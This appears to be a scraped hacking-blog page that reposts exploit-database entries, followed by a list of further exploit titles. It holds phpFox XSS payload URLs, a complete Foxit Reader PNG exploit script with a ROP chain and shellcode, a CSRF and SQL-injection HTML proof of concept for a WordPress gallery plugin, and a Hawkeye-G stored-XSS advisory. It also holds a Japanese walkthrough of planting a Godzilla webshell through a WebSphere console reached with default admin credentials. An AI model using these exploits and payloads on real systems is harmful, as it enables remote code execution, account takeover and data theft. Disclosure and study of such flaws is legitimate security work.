source: https://www.securityfocus.com/bid/55405/info
phpFox is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
phpFox 3.3.0 is vulnerable; other versions may also be affected.
http://www.example.com//static/ajax.php?core[ajax]=true&core[call]=core.message&core[security_token]=860eb6a699d5d9f375b5e8cf0021c094&height=150&message="><script>alert(document.cookie);</script>&width=300
http://www.example.com//static/ajax.php?comment_type_id=feed&core[ajax]=true&core[call]=comment.viewMoreFeed&core[is_admincp]=0&core[is_user_profile]=1&core[profile_user_id]=25&core[security_token]=1fa4d24158b81e721c5974d7f175b2ac&feed_id="><script>alert(document.cookie);</script>&item_id=518&_=1346525603467
http://www.example.com//static/ajax.php?comment_type_id=feed&core[ajax]=true&core[call]=comment.viewMoreFeed&core[is_admincp]=0&core[is_user_profile]=1&core[profile_user_id]=25&core[security_token]=1fa4d24158b81e721c5974d7f175b2ac&feed_id=id&item_id=518"><script>alert(document.cookie);</script>&_=1346525603467
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863152443
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
# Exploit Title: Foxit Reader PNG Conversion Parsing tEXt chunk - Arbitrary Code Execution
# Date: 07/07/2015
# Exploit Author: Sascha Schirra
# Vendor Homepage: https://www.foxitsoftware.com
# Software Link: https://www.foxitsoftware.com/downloads/
# Version: 7.0.8 - 7.1.5 (maybe also older versions) tested versions 7.1.5 and 7.0.8
# Tested on: Windows 7 SP1
# Vendor informed and bug confirmed: July 08th, 2015
"""
This is a PoC (ASLR/DEP bypass)
For ASLR bypass jrsysCrypt.dll is used, which doesn't make use of ASLR
For DEP bypass a ropchain is used which call ZwProtectVirtualMemory through fastsyscall.
This script looks for a tEXt chunk in a png file and replace this chunk with two other tEXt chunks.
The first of them triggers the vulnerability and the second one contains a ropchain and shellcode.
"""
import binascii
import struct
import re
import sys
p = lambda x:struct.pack('I', x)
if len(sys.argv) < 2:
print('usage: %s <pngfile>' % sys.argv[0])
exit()
print('Open file: %s' % sys.argv[1])
with open(sys.argv[1],'rb') as f:
data = f.read()
m = re.search('tEXt', data)
if not m:
print('No tEXt chunk')
exit()
print('tEXt chunk found')
start = data[:m.start()-4]
length = struct.unpack('>I', data[m.start()-4:m.start()])[0]
end = data[m.end()+length + 4:]
vulnChunk = 'tEXt\0' # vulnerable because of the missing keyword
vulnChunk += 'A'*8
vulnChunk += p(0x10041a14) # xchg eax, ecx; ret;
vulnChunk += p(0x10067e0a) # xchg eax, ebp; add byte ptr [eax], al; add esp, 4; ret;
vulnChunk += 'AAAA'
vulnChunk += p(0x10013d24) # mov esp, ebp; pop ebp; ret;
vulnChunk += 'A'*16
vulnChunk += '\x0a\xd2' # Partial Overwrite This have to be changed on each system. Another solution is needed here.
vulnlen = struct.pack('>I', 0x2b) # length os 0x2b is needed to overwrite 2 bytes of the this pointer.
vulnChunkCRC32 = struct.pack('>i',binascii.crc32(vulnChunk))
secondChunk = 'AAA\0'*(580)
secondChunk += p(0x10009b40) # Pointer to the following gadget: MOV EDX,DWORD PTR SS:[ESP+2C]; MOV EAX,DWORD PTR SS:[ESP+28]; PUSH EDX; MOV EDX,DWORD PTR SS:[ESP+24]; PUSH EAX; PUSH ESI; PUSH EDX; PUSH EDI; CALL DWORD PTR DS:[ECX+14]
secondChunk += p(0x1007c853) # pop esi; pop edi; pop ebx; pop ebp; ret;
secondChunk += p(0x1000ba26) # xchg eax, esp; rcr byte ptr [esi + 0x5d], 0x40; pop ebx; add esp, 0x18; ret;
secondChunk += 'AAAA'*2
secondChunk += p(0x1006265d) # mov eax, dword ptr [esp + 0xc]; push eax; call dword ptr [ecx + 8];
# calc shellcode - metasploit
buf = "\x83\xc4\xce"
buf += "\xda\xc8\xbb\x15\xee\x3a\x64\xd9\x74\x24\xf4\x5d\x33"
buf += "\xc9\xb1\x30\x31\x5d\x18\x83\xed\xfc\x03\x5d\x01\x0c"
buf += "\xcf\x98\xc1\x52\x30\x61\x11\x33\xb8\x84\x20\x73\xde"
buf += "\xcd\x12\x43\x94\x80\x9e\x28\xf8\x30\x15\x5c\xd5\x37"
buf += "\x9e\xeb\x03\x79\x1f\x47\x77\x18\xa3\x9a\xa4\xfa\x9a"
buf += "\x54\xb9\xfb\xdb\x89\x30\xa9\xb4\xc6\xe7\x5e\xb1\x93"
buf += "\x3b\xd4\x89\x32\x3c\x09\x59\x34\x6d\x9c\xd2\x6f\xad"
buf += "\x1e\x37\x04\xe4\x38\x54\x21\xbe\xb3\xae\xdd\x41\x12"
buf += "\xff\x1e\xed\x5b\x30\xed\xef\x9c\xf6\x0e\x9a\xd4\x05"
buf += "\xb2\x9d\x22\x74\x68\x2b\xb1\xde\xfb\x8b\x1d\xdf\x28"
buf += "\x4d\xd5\xd3\x85\x19\xb1\xf7\x18\xcd\xc9\x03\x90\xf0"
buf += "\x1d\x82\xe2\xd6\xb9\xcf\xb1\x77\x9b\xb5\x14\x87\xfb"
buf += "\x16\xc8\x2d\x77\xba\x1d\x5c\xda\xd0\xe0\xd2\x60\x96"
buf += "\xe3\xec\x6a\x86\x8b\xdd\xe1\x49\xcb\xe1\x23\x2e\x23"
buf += "\xa8\x6e\x06\xac\x75\xfb\x1b\xb1\x85\xd1\x5f\xcc\x05"
buf += "\xd0\x1f\x2b\x15\x91\x1a\x77\x91\x49\x56\xe8\x74\x6e"
buf += "\xc5\x09\x5d\x0d\x88\x99\x3d\xd2"
shellcode=buf
rop = ''
# Write Size to data section
rop += p(0x1002d346) #pop eax; ret
rop += p(0x100aa004) # data section
rop += p(0x100012ca) #pop ecx; ret
rop += p(0x1000)
# Write baseaddr (esp) to data section
rop += p(0x1001dd25) #mov dword ptr [eax], ecx; ret;
rop += p(0x1007b25c) #push esp; add eax, 0x20; pop ebx; ret;
rop += p(0x1002d346) #pop eax; ret
rop += p(0x100aa008) # data section
rop += p(0x1004eacc) #mov dword ptr [eax], ebx; pop ebx; ret;
rop += p(0xdeadc0de)
# dereference syscall and call it
rop += p(0x1002d346) #pop eax; ret
rop += p(0x7ffe0300) # fastsyscall
rop += p(0x10010ff4) #mov ecx, dword ptr [eax]; mov eax, [ecx]; ret;
rop += p(0x1002d346) #pop eax; ret
rop += p(0xd7) #syscall
rop += p(0x10081541) #push ecx;cld; ret
rop += p(0x100801f5) # 6xpop; ret
rop += p(0xdeadc0de)
rop += p(0xffffffff)
rop += p(0x100aa008) # datasection Pointer to baseaddress
rop += p(0x100aa004) # datasection Pointer to size
rop += p(0x40)
rop += p(0x100aa00c)
rop += p(0x1006c63b) # push esp, ret
rop += shellcode
secondChunk +=rop
secondChunk += 'A'*4000
secondChunk = secondChunk[:4000]
secondChunkLen = struct.pack('>i', len(secondChunk)+1)
secondChunk = 'tEXt'+'\0'+secondChunk
secondChunkCRC32 = struct.pack('>i',binascii.crc32(secondChunk))
with open('exploit_'+sys.argv[1],'wb') as f:
f.write(start+(secondChunkLen + secondChunk + secondChunkCRC32) +vulnlen + vulnChunk + vulnChunkCRC32+ end)
print('Exploit file created: %s' % ('exploit_'+sys.argv[1]))
# Title: Cross-Site Request Forgery & SQL Injection Vulnerabilities in Unite Gallery Lite Wordpress Plugin v1.4.6
# Submitter: Nitin Venkatesh
# Product: Unite Gallery Lite Wordpress Plugin
# Product URL: https://wordpress.org/plugins/unite-gallery-lite/
# Vulnerability Type: Cross-site Request Forgery [CWE-352], Improper
Neutralization of Special Elements used in an SQL Command ('SQL
Injection')[CWE-89]
# Affected Versions: v1.4.6 and possibly below.
# Tested versions: v1.4.6
# Fixed Version: v1.5
# Link to code diff: https://plugins.trac.wordpress.org/changeset/1178586/unite-gallery-lite
# Changelog: https://wordpress.org/plugins/unite-gallery-lite/changelog/
# CVE Status: New & Unassigned
## Product Information:
The Unite Gallery is all in one image and video gallery for WordPress.
## Vulnerability Description:
The admin forms of the Unite Gallery Lite Wordpress Plugin are susceptible
to CSRF. Additionally, the following parameters were found to be
susceptible to SQLi -
Form submitted to /wp-admin/admin-ajax.php:
- data[galleryID]
Form submitted to /wp-admin/admin.php:
- galleryid
- id
## Proof of Concept:
<!DOCTYPE html>
<html>
<head>
<title>CSRF + SQLi in Unite Gallery Lite Wordpress Plugin v1.4.6</title>
</head>
<body>
<h1>CSRF + SQLi in Unite Gallery Lite Wordpress Plugin v1.4.6</h1>
<p>CSRF - Create Gallery</p>
<form action="http://localhost/wp-admin//admin-ajax.php" method="post">
<input type="hidden" name="action" value='unitegallery_ajax_action' />
<input type="hidden" name="client_action" value='create_gallery' />
<input type="hidden" name="gallery_type" value='ug-carousel' />
<input type="hidden" name="data[main][title]" value='test 2' />
<input type="hidden" name="data[main][alias]" value='test2' />
<input type="hidden" name="data[main][category]" value='new' />
<input type="hidden" name="data[main][full_width]" value='true' />
<input type="hidden" name="data[main][gallery_width]" value='1000' />
<input type="submit" value="submit" />
</form>
<p>CSRF + SQLi - Update Gallery</p>
<form action="http://localhost/wp-admin//admin-ajax.php" method="post">
<input type="hidden" name="action" value='unitegallery_ajax_action' />
<input type="hidden" name="client_action" value='update_gallery' />
<input type="hidden" name="gallery_type" value='ug-carousel' />
<input type="hidden" name="data[main][title]" value='test 2' />
<input type="hidden" name="data[main][alias]" value='test2' />
<input type="hidden" name="data[main][shortcode]" value='[unitegallery
test2]' />
<input type="hidden" name="data[main][category]" value='3' />
<input type="hidden" name="data[main][full_width]" value='true' />
<input type="hidden" name="data[main][gallery_width]" value='1000' />
<input type="hidden" name="data[main][gallery_min_width]" value='150' />
<input type="hidden" name="data[params][tile_width]" value='160' />
<input type="hidden" name="data[params][tile_height]" value='160' />
<input type="hidden" name="data[params][theme_gallery_padding]" value='0' />
<input type="hidden" name="data[params][theme_carousel_align]"
value='center' />
<input type="hidden" name="data[params][theme_carousel_offset]" value='0' />
<input type="hidden" name="data[params][gallery_shuffle]" value='false' />
<input type="hidden" name="data[params][tile_image_resolution]"
value='medium' />
<input type="hidden" name="data[params][carousel_padding]" value='8' />
<input type="hidden" name="data[params][carousel_space_between_tiles]"
value='20' />
<input type="hidden" name="data[params][carousel_scroll_duration]"
value='500' />
<input type="hidden" name="data[params][carousel_scroll_easing]"
value='easeOutCubic' />
<input type="hidden" name="data[params][carousel_autoplay]" value='true' />
<input type="hidden" name="data[params][carousel_autoplay_timeout]"
value='3000' />
<input type="hidden" name="data[params][carousel_autoplay_direction]"
value='right' />
<input type="hidden" name="data[params][carousel_autoplay_pause_onhover]"
value='true' />
<input type="hidden" name="data[params][theme_enable_navigation]"
value='true' />
<input type="hidden" name="data[params][theme_navigation_enable_play]"
value='true' />
<input type="hidden" name="data[params][theme_navigation_align]"
value='center' />
<input type="hidden" name="data[params][theme_navigation_offset_hor]"
value='0' />
<input type="hidden" name="data[params][theme_navigation_position]"
value='bottom' />
<input type="hidden" name="data[params][theme_navigation_margin]"
value='20' />
<input type="hidden" name="data[params][theme_space_between_arrows]"
value='5' />
<input type="hidden" name="data[params][carousel_navigation_numtiles]"
value='3' />
<input type="hidden" name="data[params][position]" value='center' />
<input type="hidden" name="data[params][margin_top]" value='0' />
<input type="hidden" name="data[params][margin_bottom]" value='0' />
<input type="hidden" name="data[params][margin_left]" value='0' />
<input type="hidden" name="data[params][margin_right]" value='0' />
<input type="hidden" name="data[params][tile_enable_action]" value='true' />
<input type="hidden" name="data[params][tile_as_link]" value='false' />
<input type="hidden" name="data[params][tile_link_newpage]" value='true' />
<input type="hidden" name="data[params][tile_enable_border]" value='true' />
<input type="hidden" name="data[params][tile_border_width]" value='3' />
<input type="hidden" name="data[params][tile_border_color]" value='#f0f0f0'
/>
<input type="hidden" name="data[params][tile_border_radius]" value='0' />
<input type="hidden" name="data[params][tile_enable_outline]" value='true'
/>
<input type="hidden" name="data[params][tile_outline_color]"
value='#8b8b8b' />
<input type="hidden" name="data[params][tile_enable_shadow]" value='false'
/>
<input type="hidden" name="data[params][tile_shadow_h]" value='1' />
<input type="hidden" name="data[params][tile_shadow_v]" value='1' />
<input type="hidden" name="data[params][tile_shadow_blur]" value='3' />
<input type="hidden" name="data[params][tile_shadow_spread]" value='2' />
<input type="hidden" name="data[params][tile_shadow_color]" value='#8b8b8b'
/>
<input type="hidden" name="data[params][tile_enable_image_effect]"
value='false' />
<input type="hidden" name="data[params][tile_image_effect_type]" value='bw'
/>
<input type="hidden" name="data[params][tile_image_effect_reverse]"
value='false' />
<input type="hidden" name="data[params][tile_enable_overlay]" value='true'
/>
<input type="hidden" name="data[params][tile_overlay_opacity]" value='0.4'
/>
<input type="hidden" name="data[params][tile_overlay_color]"
value='#000000' />
<input type="hidden" name="data[params][tile_enable_icons]" value='true' />
<input type="hidden" name="data[params][tile_show_link_icon]" value='false'
/>
<input type="hidden" name="data[params][tile_space_between_icons]"
value='26' />
<input type="hidden" name="data[params][tile_enable_textpanel]"
value='false' />
<input type="hidden" name="data[params][tile_textpanel_source]"
value='title' />
<input type="hidden" name="data[params][tile_textpanel_always_on]"
value='false' />
<input type="hidden" name="data[params][tile_textpanel_appear_type]"
value='slide' />
<input type="hidden" name="data[params][tile_textpanel_padding_top]"
value='8' />
<input type="hidden" name="data[params][tile_textpanel_padding_bottom]"
value='8' />
<input type="hidden" name="data[params][tile_textpanel_padding_left]"
value='11' />
<input type="hidden" name="data[params][tile_textpanel_padding_right]"
value='11' />
<input type="hidden" name="data[params][tile_textpanel_bg_color]"
value='#000000' />
<input type="hidden" name="data[params][tile_textpanel_bg_opacity]"
value='0.6' />
<input type="hidden" name="data[params][tile_textpanel_title_color]"
value='#ffffff' />
<input type="hidden" name="data[params][tile_textpanel_title_text_align]"
value='left' />
<input type="hidden" name="data[params][tile_textpanel_title_font_size]"
value='14' />
<input type="hidden" name="data[params][tile_textpanel_title_bold]"
value='true' />
<input type="hidden" name="data[params][lightbox_type]" value='wide' />
<input type="hidden" name="data[params][lightbox_hide_arrows_onvideoplay]"
value='true' />
<input type="hidden" name="data[params][lightbox_slider_control_zoom]"
value='true' />
<input type="hidden" name="data[params][gallery_mousewheel_role]"
value='zoom' />
<input type="hidden" name="data[params][lightbox_overlay_opacity]"
value='1' />
<input type="hidden" name="data[params][lightbox_overlay_color]"
value='#000000' />
<input type="hidden" name="data[params][lightbox_top_panel_opacity]"
value='0.4' />
<input type="hidden" name="data[params][lightbox_show_numbers]"
value='true' />
<input type="hidden" name="data[params][lightbox_numbers_size]" value='14'
/>
<input type="hidden" name="data[params][lightbox_numbers_color]"
value='#e5e5e5' />
<input type="hidden" name="data[params][lightbox_show_textpanel]"
value='true' />
<input type="hidden" name="data[params][lightbox_textpanel_width]"
value='550' />
<input type="hidden" name="data[params][lightbox_textpanel_source]"
value='title' />
<input type="hidden" name="data[params][lightbox_textpanel_title_color]"
value='#e5e5e5' />
<input type="hidden"
name="data[params][lightbox_textpanel_title_text_align]" value='left' />
<input type="hidden"
name="data[params][lightbox_textpanel_title_font_size]" value='14' />
<input type="hidden" name="data[params][lightbox_textpanel_title_bold]"
value='false' />
<input type="hidden" name="data[params][lightbox_compact_overlay_opacity]"
value='0.6' />
<input type="hidden" name="data[params][lightbox_compact_overlay_color]"
value='#000000' />
<input type="hidden" name="data[params][lightbox_arrows_position]"
value='sides' />
<input type="hidden" name="data[params][lightbox_arrows_inside_alwayson]"
value='false' />
<input type="hidden" name="data[params][lightbox_compact_show_numbers]"
value='true' />
<input type="hidden" name="data[params][lightbox_compact_numbers_size]"
value='14' />
<input type="hidden" name="data[params][lightbox_compact_numbers_color]"
value='#e5e5e5' />
<input type="hidden"
name="data[params][lightbox_compact_numbers_padding_top]" value='7' />
<input type="hidden"
name="data[params][lightbox_compact_numbers_padding_right]" value='5' />
<input type="hidden" name="data[params][lightbox_compact_show_textpanel]"
value='true' />
<input type="hidden" name="data[params][lightbox_compact_textpanel_source]"
value='title' />
<input type="hidden"
name="data[params][lightbox_compact_textpanel_title_color]" value='#e5e5e5'
/>
<input type="hidden"
name="data[params][lightbox_compact_textpanel_title_font_size]" value='14'
/>
<input type="hidden"
name="data[params][lightbox_compact_textpanel_title_bold]" value='false' />
<input type="hidden"
name="data[params][lightbox_compact_textpanel_padding_top]" value='5' />
<input type="hidden"
name="data[params][lightbox_compact_textpanel_padding_left]" value='10' />
<input type="hidden"
name="data[params][lightbox_compact_textpanel_padding_right]" value='10' />
<input type="hidden"
name="data[params][lightbox_compact_slider_image_border]" value='true' />
<input type="hidden"
name="data[params][lightbox_compact_slider_image_border_width]" value='10'
/>
<input type="hidden"
name="data[params][lightbox_compact_slider_image_border_color]"
value='#ffffff' />
<input type="hidden"
name="data[params][lightbox_compact_slider_image_border_radius]" value='0'
/>
<input type="hidden"
name="data[params][lightbox_compact_slider_image_shadow]" value='true' />
<input type="hidden" name="data[params][include_jquery]" value='true' />
<input type="hidden" name="data[params][js_to_body]" value='false' />
<input type="hidden" name="data[params][compress_output]" value='false' />
<input type="hidden" name="data[params][gallery_debug_errors]"
value='false' />
<!-- SQLi -->
<input type="hidden" name="data[galleryID]" value='1 AND (SELECT * FROM
(SELECT(SLEEP(5)))rock)' />
<input type="submit" value="submit" />
</form>
<p>CSRF - Add Items</p>
<form action="http://localhost/wp-admin/admin-ajax.php" method="post">
<input type="hidden" name="action" value='unitegallery_ajax_action' />
<input type="hidden" name="client_action" value='add_item' />
<input type="hidden" name="gallery_type" value='' />
<input type="hidden" name="data[type]" value='html5video' />
<input type="hidden" name="data[title]" value='test' />
<input type="hidden" name="data[description]" value='' />
<input type="hidden" name="data[urlImage]" value='' />
<input type="hidden" name="data[urlThumb]" value='' />
<input type="hidden" name="data[urlVideo_mp4]" value='
http://video-js.zencoder.com/oceans-clip.mp4' />
<input type="hidden" name="data[urlVideo_webm]" value='
http://video-js.zencoder.com/oceans-clip.webm' />
<input type="hidden" name="data[urlVideo_ogv]" value='
http://video-js.zencoder.com/oceans-clip.ogv' />
<input type="hidden" name="data[catID]" value='4' />
<input type="submit" value="submit" />
</form>
<p>CSRF + SQLi - Retrieve Items (Edit Settings - Items Tab)</p>
<form action="http://localhost/wp-admin/admin-ajax.php" method="post">
<input type="hidden" name="action" value='unitegallery_ajax_action' />
<input type="hidden" name="client_action" value='get_cat_items' />
<input type="hidden" name="gallery_type" value='ug-carousel' />
<input type="hidden" name="data[catID]" value='3' />
<!-- SQLi -->
<input type="hidden" name="data[galleryID]" value='1 AND (SELECT * FROM
(SELECT(SLEEP(5)))rock)' />
<input type="submit" value="submit" />
</form>
<p> CSRF + SQLi - Action buttons</p>
<ul>
<li>
<a href="
http://localhost/wp-admin/admin.php?page=unitegallery&view=items&galleryid=1%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))rock)
">
http://localhost/wp-admin/admin.php?page=unitegallery&view=items&galleryid=1%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))rock)
</a></li>
<li>
<a href="
http://localhost/wp-admin/admin.php?page=unitegallery&view=preview&id=1%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))rock)
">
http://localhost/wp-admin/admin.php?page=unitegallery&view=preview&id=1%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))rock)
</a>
</li>
</ul>
</body>
</html>
## Solution:
Upgrade to v1.5 or higher
## Disclosure Timeline:
2015-06-06 - Discovered. Reported to developer.
2015-06-10 - Updated version released.
2015-07-25 - Publishing disclosure on FD mailing list
## Disclaimer:
This disclosure is purely meant for educational purposes. I will in no way
be responsible as to how the information in this disclosure is used.
# Exploit Title: Persistent XSS, Information Leakage IDS / IPS
# Google Dork: intitle: Persistent XSS, Information Leakage IDS / IPS
# Date: 2015-07-25
# Exploit Author: John Page ( hyp3rlinx )
# Website: hyp3rlinx.altervista.org
# Vendor Homepage: www.hexiscyber.com
# Software Link: www.hexiscyber.com/products/hawkeye-g
# Version: v3.0.1.4912
# Tested on: windows 7 SP1
# Category: Network Threat Appliance IDS / IPS
Vendor:
================================
www.hexiscyber.com
Product:
================================
Hawkeye-G v3.0.1.4912
Hawkeye G is an active defense disruptive technology that
detects, investigates, remediates and removes cyber threats
within the network.
Vulnerability Type:
=============================================
Persistent XSS & Server Information Leakage
CVE Reference:
==============
N/A
Advisory Information:
=====================================================================
Persistent XSS:
---------------
Hexis cyber Hawkeye-G network threat appliance is vulnerable to
persistent XSS injection when adding device accounts to the system.
The appliance contains an endpoint sensor that collects client
information to report back to the Hawkeye-G web interface.
When adding device accounts to the system XSS payloads supplied to the
vulnerable id parameter 'name' will be stored in database and executed each
time certain threat appliance webpages are visited.
Server Information Disclosure:
-----------------------------
We can force internal server 500 errors that leak back end information's.
Stack traces are echoed out to the end user instead of being suppressed
this can give attackers valuable information into the system internals
possibly helping attackers in crafting more specific types of attacks.
Exploit code(s):
===============
Persistent XSS:
---------------
<form id="exploit" action="
https://localhost:8443/interface/rest/accounts/json" method="post">
<input type="text" name="human" value="true" />
<input type="text" name="name" value="<script>alert(666)</script>" />
<input type="text" name="domainId" value=""/>
<input type="text" name="domain_id" value="" />
<input type="text" name="roving" value="false" />
</form>
Accessing URL will execute malicious XSS stored in Hawkeye-G backend
database.
https://localhost:8443/interface/app/#/account-management
vulnerable parameter:
'name'
<input placeholder="Name" ng-model="record.name" id="name"
class="formeditbox ng-pristine ng-invalid ng-invalid-required ng-touched"
name="name" required="" ng-disabled="record.guid">
Server Information Leakage:
---------------------------
These examples will result in 500 internal server error info disclosures:
1-
https://localhost:8443/interface/rest/threatfeeds/pagedJson?namePattern=&page=0&size=25&sortCol=address&sortDir=%22/%3E%3Cscript%3Ealert%280%29%3C/script%3E
2-
https://localhost:8443/interface/rest/mitigationWhitelist/paged?namePattern=WEB-INF/web.xml&page=0&size=0&source-filter=
Disclosure Timeline:
=========================================================
Vendor Notification: June 30, 2015
July 25, 2015 : Public Disclosure
Severity Level:
=========================================================
High
Description:
==========================================================
Request Method(s): [+] POST & GET
Vulnerable Product: [+] Hawkeye-G v3.0.1.4912
Vulnerable Parameter(s): [+] name, namePattern, sortDir
Affected Area(s): [+] Network Threat Appliance
===========================================================
[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and prohibits any malicious use of all security related
information or exploits by the author or elsewhere.
by hyp3rlinx

Xceedium Xsuite - Multiple Vulnerabilities
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

WordPress Plugin Count Per Day 3.4 - SQL Injection
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

JoomShopping - Blind SQL Injection
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

2Moons - Multiple Vulnerabilities
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

タイトル:クライアントのセキュリティテストを覚えておいてください
HACKER · %s · %s
今回受け取ったプロジェクトは、特定のクライアントでセキュリティテストを実施することです。アプリのテストに加えて、テスト目標のほとんどは、主にB/SアーキテクチャWebに基づいていました。 C/Sアーキテクチャのクライアントをテストするのはこれが初めてであるため、Webのテストに関する従来のアイデアのみに歪められたこともありました。
0x01パケットをキャッチ
ターゲットクライアントがプロキシ構成関数を持っているかどうかを最初に確認します(ほとんどはしない)
単純なログイン関数のみがあり、プロキシ構成関数がないことがわかります。
proxifier + burpsuite
Burpsuite で構成されたプロキシアドレスとポートを表示
proxifierにプロキシサーバーを追加します(IPとポートは、Burpsuiteで構成されたプロキシアドレスとポートです)
構成後、Burpsuiteとの接続を確認してテストします(Burpsuiteにはコミュニケーションが成功したトラフィックがあります)
Proxifier にプロキシルールを追加します
Burpsuiteは、クライアントのログイン要求を正常にインターセプトします
0x02パケット分析
データパケットを正常に傍受した後、彼はそれを分析することを計画しました。結果は一見必死でした。リクエストパケットと応答パケットの両方が暗号化された
Webアクセスを試してください
アプリをテストすると、携帯電話のトラフィックが暗号化されていてPCが暗号化されていない状況に遭遇しました。そこで、リクエストリンクをコピーしてWebにアクセスしようとしましたが、有効な情報を取得しませんでした
このクライアントの関連する関数の要求パラメーターはポストモードで送信され、トラフィックが暗号化されるため、一時的に放棄され、サーバーから開始するように思考を変更します。
0x03暗いヤナギと明るい花
WebSphereはターゲットサーバーをスキャンし、オープンポートが非常に多いことを発見しました。 9043および9060は、それぞれWebSphereのそれぞれデフォルトの管理コンソールセキュリティポートと管理コンソールポートです。
デフォルトのログインアドレスは /IBM /コンソールです。ここでは、デフォルトのユーザーIDがで正常にログインして管理されます
ねじれとねじれ
JSPファイルのコンテンツを交換
WebSphere Management Consoleに成功してシェルを取得するのは自然なことですが、想像したほど簡単ではありません。まず、をアップロードするために前に作った戦争パッケージを使用してください
戦争パッケージを選択し、コンテキストに記入し、エラーを報告します
このエラーに関して、インターネットを長時間検索し、最終的にいくつかの理由とソリューションを要約しました。つまり、WebSphereを再起動すると、WARパッケージに含まれるファイルの内容が間違っています。WARパッケージの入力時に使用されるJDKは、ターゲットWebSphereのJDKバージョンと矛盾し、WebSphere構成ファイルを変更します。
WARパッケージのJSPファイルコンテンツを変更して、上記のキャプチャされたデータパケットからのエラー
JDKバージョンを交換
を印刷する(無害なコンテンツ)、ターゲットで使用されているJDKバージョンが1.5.0_21であることがわかります。
myeclipseは戦争ファイルを構築します
以前の多くの試みを通じて、このエラーは解決されなかったため、このステップで長い間立ち往生していました。最後に、WebSphere 6.xバージョンのデフォルトのサポートされているWebアプリケーションが2.3(Web-App_2_3.DTDをWeb.xmlで構成)であることを情報から学びました。したがって、MyeClipseを使用してWARファイルを生成することを選択しました。
myeclipseは新しいWebプロジェクトを作成します。 JSPファイルをWebrootディレクトリに配置し、プロジェクトを戦争ファイルとしてエクスポートする
生成されたWARファイルディレクトリ構造は次のとおりです
生成された戦争ファイルを選択し、コンテキストに記入してをアップロードします
ステップ1-4操作なし、[次のステップ5をクリックしてクリックして完了した後、メイン構成への保存を選択することを忘れないでください
インストールが完了した後、アプリケーションステータスが停止します。 [開始]をクリックして、 を開始します
0x04要約
GodzillaからWebシェルを生成するためにJSPファイルを使用する必要があります。 Behinder V3.11によって生成された馬を使用し始めたばかりです。正常にアップロードできますが、ページが存在し、キーを取得できないことが促されます。ターゲットJDKバージョンが低すぎることに関連している可能性があり、特定の理由が不明であると推測されています。
1.最初に、BPとプロキシフィフターのプロキシポートをそれぞれ127.0.0.1 8081に設定し、ターゲットカスタマーサービスのソフトウェアをプロキシフィフターに追加してキャプチャします。
、ターゲットによって送信されたポストパケットが暗号化されており、表示されているJDKが1.5.0-21であることがわかりました。
2.カスタマーサービスソフトウェアのIPをスキャンして、9043、9060、およびWebSphereサービスポートが開かれていることを確認します。
3. WebSphere BackEnd(/IBM/Console)にアクセスし、ユーザー名管理者/管理者を入力してシステムに入ると、バージョンは6.xです
4.ここでは、ゴジラによって生成されたトロイの木馬を通して、それは戦争パッケージになります(アプリケーション - エンタープライズアプリケーション - インストール - 新しいアプリケーションへのパス - ローカルファイルシステム-Select Warパッケージ)
5。戦争パッケージのアップロードはエラーを示します。エラーの理由は次のとおりです。
WebSphereを再起動する必要があります
戦争パッケージに含まれるファイルの内容は正しくなく、変更する必要があります。
戦争パッケージを使用するときに使用されるJDKは、ターゲットWebSphereのJDKバージョンと矛盾しています
いくつかのWebSphere構成ファイルを変更します
5.ここにJDK1.5バージョンをローカルにインストールし、JARコマンドを介してWAFパッケージを変更し、WAFパッケージをアップロードします。まだ実行できないことがわかりました
jar -cvf time.war time.jsp
6. WebSphere 6.xバージョンでのデフォルトのサポートされているWebアプリケーションは2.3(web-app_2_3.dtd web.xmlで構成)です。したがって、myeclipseを使用して戦争ファイルを生成することを選択します。
New -WEB Project-Project Name(GetShell) - Godzilla Generationの文をGetShellプロジェクトにドラッグします。その後、エクスポート -
Java EE -WARファイル-Export GetShell.WARパッケージ
7.GetShell.WARパッケージは直接アップロードできます
(アプリケーションから - エンタープライズアプリケーション - インストール - 新しいアプリケーションへのパス - ローカルファイルシステム - 戦争パッケージを選択し、コンテキストルート(テストディレクトリ)を選択します)
8。次に、構成を保存して開始します。
最終訪問:
http://www.xxx.com/test/getshell.jsp
オリジナルリンク:https://xz.aliyun.com/t/10253
- Read more...
- 0 comments
- 1 view

Phorum 5.2.18 - Multiple Cross-Site Scripting Vulnerabilities
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

PrestaShop 1.4.7 - Multiple Cross-Site Scripting Vulnerabilities
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

TomatoCart - 'example_form.ajax.php' Cross-Site Scripting
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

PHP 5.3.11/5.4.0RC2 - 'header()' HTTP Header Injection
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

Libuser Library - Multiple Vulnerabilities
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

phpFileManager 0.9.8 - Remote Command Execution
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Classic FTP 2.36 - CWD Reconnection Denial of Service
HACKER · %s · %s
- Read more...
- 0 comments
- 2 views

phpFileManager 0.9.8 - Cross-Site Request Forgery
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

WordPress Plugin Cloudsafe365 - 'file' Remote File Disclosure
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

WordPress Plugin Simple:Press Forum - Arbitrary File Upload
HACKER · %s · %s
